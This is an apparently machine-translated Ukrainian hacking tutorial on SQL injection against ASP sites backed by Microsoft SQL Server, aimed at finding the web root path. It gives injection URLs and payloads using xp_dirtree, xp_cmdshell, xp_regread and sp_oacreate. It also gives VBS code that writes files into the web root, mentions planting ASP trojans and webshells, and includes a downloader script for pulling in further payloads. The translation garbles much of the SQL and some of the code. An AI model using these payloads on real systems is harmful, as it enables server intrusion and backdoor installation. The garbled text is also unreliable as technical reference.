SQL-ін'єкція для отримання повного шляху вебсайту
Якщо на сайті лише 80 портів, ви знайдете наступні методи більш корисними
Майже всі методи, використані в ньому, не відповідають тому, що я відкрив, і стаття завжди містить особистий досвід і навички при введенні ін'єкцій
Існує 4 методи (зараз відомі)
Перший метод:
Цей <怪异的SQL注入>метод був введений у < >
Використовуючи xp_dirtree sqlserver, спочатку поговоримо про метод, а потім про його переваги та недоліки (деякі доповнення зроблені на основі оригінального тексту)
Створення таблиць
Твердження:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
Назад: Звичайна інформація! Це означає, що таблиця успішно створена! Продовжуй!
(Той, що зібраний, трохи більший за оригінал, бо я натрапив на файл із довгою назвою і видалив ID, бо він марний)
Твердження:http://www.xxxxx.com/down/list.asp?id=1;insert Директор виконавчої master.dbo.xp_dirtree 'C:\' --
Повернення: Звичайна інформація. Це означає, що всі каталоги, записані на диск C, працюють успішно! Круто! Наступний крок — отримати лічильник! Поруши його і вийди. (Схоже, що є лише один спосіб це зробити)
Твердження:http://www.xxxxx.com/down/list.asp?id=1 та 0<>(вибрати топ-1 шлях із директорів)-
Повернення: Microsoft OLE DB Provider for SQL Server помилка 80040e07
Синтаксична помилка виникає при конвертації варчарного значення '@Inetpub' у стовпець з типом даних int.
Потім імена каталогів у таблиці вибуваються по черзі!
Твердження:http:// http://www.xxxxx.com/down/list.asp?id=1 та 0<> (вибрати топ-1 шлях з
Директори, де шляхи не в( '@Inetpub'))--
Повернення: Microsoft OLE DB Provider for SQL Server помилка 80040e07
Синтаксична помилка виникла при конвертації варчарового значення 'test' у стовпець з типом даних int.
Потім імена каталогів у таблиці вибуваються по черзі!
Добре, продовжимо
Твердження:http:// http://www.xxxxx.com/down/list.asp?id=1 та 0<> (вибрати топ-1 шлях з
Директори, де шляхи не в( '@Inetpub','тест'))--
Повернення: Microsoft OLE DB Provider for SQL Server помилка 80040e07
Синтаксична помилка виникає при конвертації варчарового значення 'хаха' у стовпець з типом даних int.
Потім імена каталогів у таблиці вибуваються по черзі!
Гаразд, ти маєш знати, як це робити, ха-ха, просто додай назву таблиці до цієї дужки, додай скільки хочеш,
Невеликий трюк:
Іноді це трапляється, коли вхід схожий
http://www.xxxxx.com/down/list.asp?id=1 та 0<>(вибрати топ-1 шлях із директорів)-
Замість помилки веб-сторінка відображається нормально
Запаморочення, не нервуй
Подивіться на 0<> (виберіть верхній 1 шлях із директорів), щоб показати, що повернення — це число,
Ха-ха, спробуй і подивись, скільки це коштує
100> (виберіть топ-1 шлях з директорів)
Повернення до норми
Ха-ха, з таким методом можна швидко здогадатися більше чи менше
Добре, продовжимо
Наприклад, коли він з'являється
59=(виберіть топ-1 шлях з директорів)
Повернення до норми,
Добре, ім'я 59
Увійти наступним чином
http:// http://www.xxxxx.com/down/list.asp?id=1 та 0<> (вибрати топ-1 шлях з
Директори, де шляхи не в( '59'))--
Не забувайте ставити лапки
Наступний метод такий самий, як і оригінал
Є ще одна проблема
Іноді, коли я вводжу 59 за наведеним вище методом, наступна папка все ще 59
Що відбувається?
Хе-хе, не знаю, чи помітили ви, що 059 і 59 — це однаково?
Ось чому, ха-ха,
http:// http://www.xxxxx.com/down/list.asp?id=1 та 0<> (вибрати топ-1 шлях з
Директори, де шляхи не в ('059'))--
Я помітив, що наступна папка відображається, гаразд.
Аналіз переваг і недоліків:
Перевага в тому, що всі користувачі sqlserver можуть ним користуватися, оскільки xp_dirtree застосовує дозвіл PUBLIC,
Недолік у тому, що вона відображає назви всіх папок у каталозі, а розташування не в порядку, коротко кажучи, важко знайти потрібну папку серед тисяч чи десятків тисяч папок.
І ви знаєте, що наявність цієї папки не гарантовано потрапить у кореневу директорію, а це справді болісно, часто це залежить від удачі та витривалості.
Бажаю тобі успіху
Метод 2:
Використовуйте xp_cmdshell
Ха-ха, всі, мабуть, знайомі з цим, дозвольте коротко сказати
Створення таблиць
Твердження:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
Назад: Звичайна інформація! Це означає, що таблиця успішно створена! Продовжуй!
(Той, що зібраний, трохи більший за оригінал, бо я натрапив на файл із довгою назвою і видалив цей id, бо він марний.)
Твердження:http://www.xxxxx.com/down/list.asp?id=1;insertдиректор виконавчої master.dbo.xp_cmdshell 'Dir C:\ /B/D' --
Повернення: Звичайна інформація. Це означає, що всі каталоги, записані на диск C, працюють успішно! dir c:\ /B/D тут використовується, ха-ха, якщо ви не знаєте, що робить /B/D, спробуйте подивитися, що він робить
Твердження:http://www.xxxxx.com/down/list.asp?id=1 та 0<>(вибрати топ-1 шлях із директорів)-
Повернення: Microsoft OLE DB Provider for SQL Server помилка 80040e07
Синтаксична помилка виникає при конвертації варчарного значення '@Inetpub' у стовпець з типом даних int.
Потім імена каталогів у таблиці вибуваються по черзі!
Твердження:http:// http://www.xxxxx.com/down/list.asp?id=1 та 0<> (вибрати топ-1 шлях з
Директори, де шляхи не в( '@Inetpub'))--
Повернення: Microsoft OLE DB Provider for SQL Server помилка 80040e07
Синтаксична помилка виникла при конвертації варчарового значення 'test' у стовпець з типом даних int.
Потім імена каталогів у таблиці вибуваються по черзі!
Метод такий самий, як і вище, тому я не буду про це говорити
Іноді ми також можемо щось зробити з такими двома розширеннями
1) Ми можемо скористатися xp_availablemedia, щоб отримати всі поточні диски і зберегти їх у таблиці директорів:
5 ; вставити директори виконавчого master.dbo.xp_availablemedia; --
Ми можемо отримати список дисків та пов'язану інформацію, запитавши вміст temp
(2) Ми можемо використовувати xp_subdirs для отримання списку підкаталогів і збереження їх у таблиці dirs:
5 ; вставити у directors exec master.dbo.xp_subdirs 'c:\' ; --
Аналіз переваг і недоліків:
Звісно, це не xp_dirtree ситуації, коли всі каталоги зібрані разом, відображатиметься лише каталог першого рівня, який значно легше знайти.
Недоліки також очевидні: лише SA має цей дозвіл, і також можливо, що адміністратор видалив це розширення (адже воно надто потужне).
Метод 3:
Цей підхід хороший
Нижче наведено оригінальний текст
Думав скористатися програмою adsutil.vbs, яку я запустив
a'; Виконавчий майстер... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
Хіба це не довго? Завдяки цьому ми можемо створити перший віртуальний вебсайт в IIS (включно з самим каталогом, де він розташований, звісно)
Імпорт у a.txt
За замовчуванням для фактичного розташування a.txt є c:\winnt\system32, що насправді не є проблемою, але при зустрічі з адміністратором, який встановлює adsutil.vbs
Видаліть або покладіть це в інше місце
Ми нічого не можемо з цим зробити (ви не можете написати його самостійно з командою echo)
Крок 2: Використайте команду echo, щоб написати наступний код у c:\, чого небагато
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
Робіть поки не fil.atendofstream
nr=fil.readline
якщо ліво(nr,4)="Шлях" тоді
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
вихід до
кінець, якщо
Петля
set fil1 =fso1.opentextfile(PA &"\dd.asp",2,true)
fil1.writeline ""
---------------Ріж тут-------------------------------------
Крок 3: Звісно, потрібно виконати read.vbs, щоб ми могли читати контент у aa.txt і знаходити фактичний шлях до сайту
Потім напишіть файл під назвою dd.asp у кореневій директорії сайту, і ви зрозумієте, чи зможете спробувати це успішно
Виконатиhttp://x.x.x.x/dd.asp
Повернення: \xxx
Ха-ха, це хороший спосіб,
Однак оригінальний текст, здається, має певні проблеми
Так і є
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
Помилка виникає, коли подано два речення
Тож ми придумали плюс-знак, який має ту ж функцію, що й &
І про що писати dd.asp? Напиши татові, ха-ха
Ха-ха, я змінив
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa "\system32\aa.txt"
Робіть поки не fil.atendofstream
nr=fil.readline
якщо ліво(nr,4)="Шлях" тоді
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
вихід до
кінець, якщо
Петля
set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------Ріж тут--------------------------------------
Оскільки номер часу перетворюється на пробіл при відправленні в браузері, слід також встановити
Це стає %2B, гаразд, має бути нормально, ось так
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
Робіть поки не fil.atendofstream
nr=fil.readline
якщо ліво(nr,4)="Шлях" тоді
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
вихід до
кінець, якщо
Петля
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Ріж тут--------------------------------------
Якщо ми виявили, що 1 відсутній, ми можемо стати 2, 3, 4...........
a'; Виконавчий майстер... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Але цей метод можна використовувати лише під Windows 2000, оскільки адреси новостворених вебсайтів за 2003 не впорядковані за 1234, здається, він генерується випадково, і я порівнював кілька з них під 2003
адреси, жодної регулярності не виявлено.
Аналіз переваг і недоліків:
Те саме xp_cmdshell Не кожен користувач може ним користуватися! Ще одна проблема в тому, що файл adsutil не обов'язково існує або не обов'язково знаходиться на цьому шляху, хоча ви можете його використовувати, якщо плануєте
Echo пише один (ха-ха, старий і старий), і інше питання: що, якщо на хості багато сайтів? Я зустрічав хоста з дев'ятьма сайтами, і лише восьмий був корисним
Так, знепритомність, важко комусь вистачити терпіння так наполегливо, можливо, це давно розвалилося. Також його не можна використовувати у 2003 році!
Але, чесно кажучи, цей метод справді хороший
Метод 4:
Цей метод полягає у зчитуванні шляху з реєстру через xp_regread тощо
Рекомендується наступне для отримання шляху веб-сторінки (читайте реєстр через збережені процедури):
Використовуйте вбудовану збережену процедуру xp_regread (читати ключ реєстру, дозвол публічний):
Заява: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Оголосити@test
Варчар (20) виконавчий майстер... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT вставити у шляхи
(шлях) цінності(@test)
Шлях IIS за замовчуванням у реєстрі HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Використовуйте поле burst, щоб зчитувати значення бази даних:
Твердження: http://www.xxx.com/list.asp?classid=1 і 0<>(виберіть топ-1 шлях з newtable)--return: Microsoft OLE DB Provider for
Помилка драйверів ODBC 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] перетворює значення varchar E:\www,,201 у тип даних int
колонка.
Це означає, що каталог веб-сторінки знаходиться в E:\www, і ви також можете використовувати FSO для запису безпосередньо на ASP-троян
Що, якщо ви не можете отримати веб-каталог? Вам потрібно здогадатися, чи сайт використовує стандартний WEB чи доменне ім'я як WEB.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "вебсайт за замовчуванням" -v "e","e:\"'
Створіть віртуальний каталог E під стандартним WEB сайтом, вказуючи на E: під диском.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e перегляд'
Добре додавати атрибути перегляду до віртуального каталогу e. Відкрийте віртуальний сервіс для себе. Думаючи про ці шляхи до каталогів веб-сторінок, моя голова майже зламана. Тепер я відкрив очі. Це WEBSHELL, який використовує Microsoft
SQL — це кінець нашої роботи, і наступна робота має бути твоєю.
Ха-ха, метод хороший, прочитайте через реєстраційну форму, зручно і швидко!
Аналіз переваг і недоліків:
Перевага, звичайно, у тому, що це зручно і швидко. Мінус у тому, що ви бачите лише шлях до стандартного IIS сайту, і якщо це вже не стандартний сайт, то нічого не можна зробити (я відстежував це за допомогою regsnape), якщо це менше 2003 року
Тобто, навіть шлях до сайту за замовчуванням не відображається! У болю
До речі, існують й інші способи продовжувати вторгнення, окрім пошуку шляху до сайту, наприклад, завантажити bounce trojan через tftp або написати iget.vbs для завантаження потрібного dongdong
Код iget.vbs виглядає так:
---------старт----------
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Потік"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------кінець-----------
Додаток до цієї статті:
Нещодавно я зрозумів, що моє розуміння інструкцій голови Мао було недостатньо глибоким, і хотів би додати тут
Насправді, наведені вище методи зовсім не потрібно порівнювати, xp_dirtree вони найкращі, якщо цього методу достатньо
Це просто тому, що я був надто ..............
Сьогодні я знову відкрию таємницю xp_dirtree
Добре, давайте виконавчий майстер: xp_dirtree'd:/test'
Припустимо, у нас є дві папки в test1 і test2, а також test3 у test1
Результати показують
Глибина підкаталогу
test1 1
test3 2
test2 1
Ха-ха, я зрозумів, що немає глибини, як у серії каталогу
Добре, знайте, що робити
http://www.xxxxx.com/down/list.asp?id=1;create Table dirs(Paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Директор виконавчого master.dbo.xp_dirtree 'Д:\' --
http://www.xxxxx.com/down/list.asp?id=1 та 0<>(виберіть верхній 1 шлях з DIRS, де id=1)-
Поки додано id=1, це каталог першого рівня.
|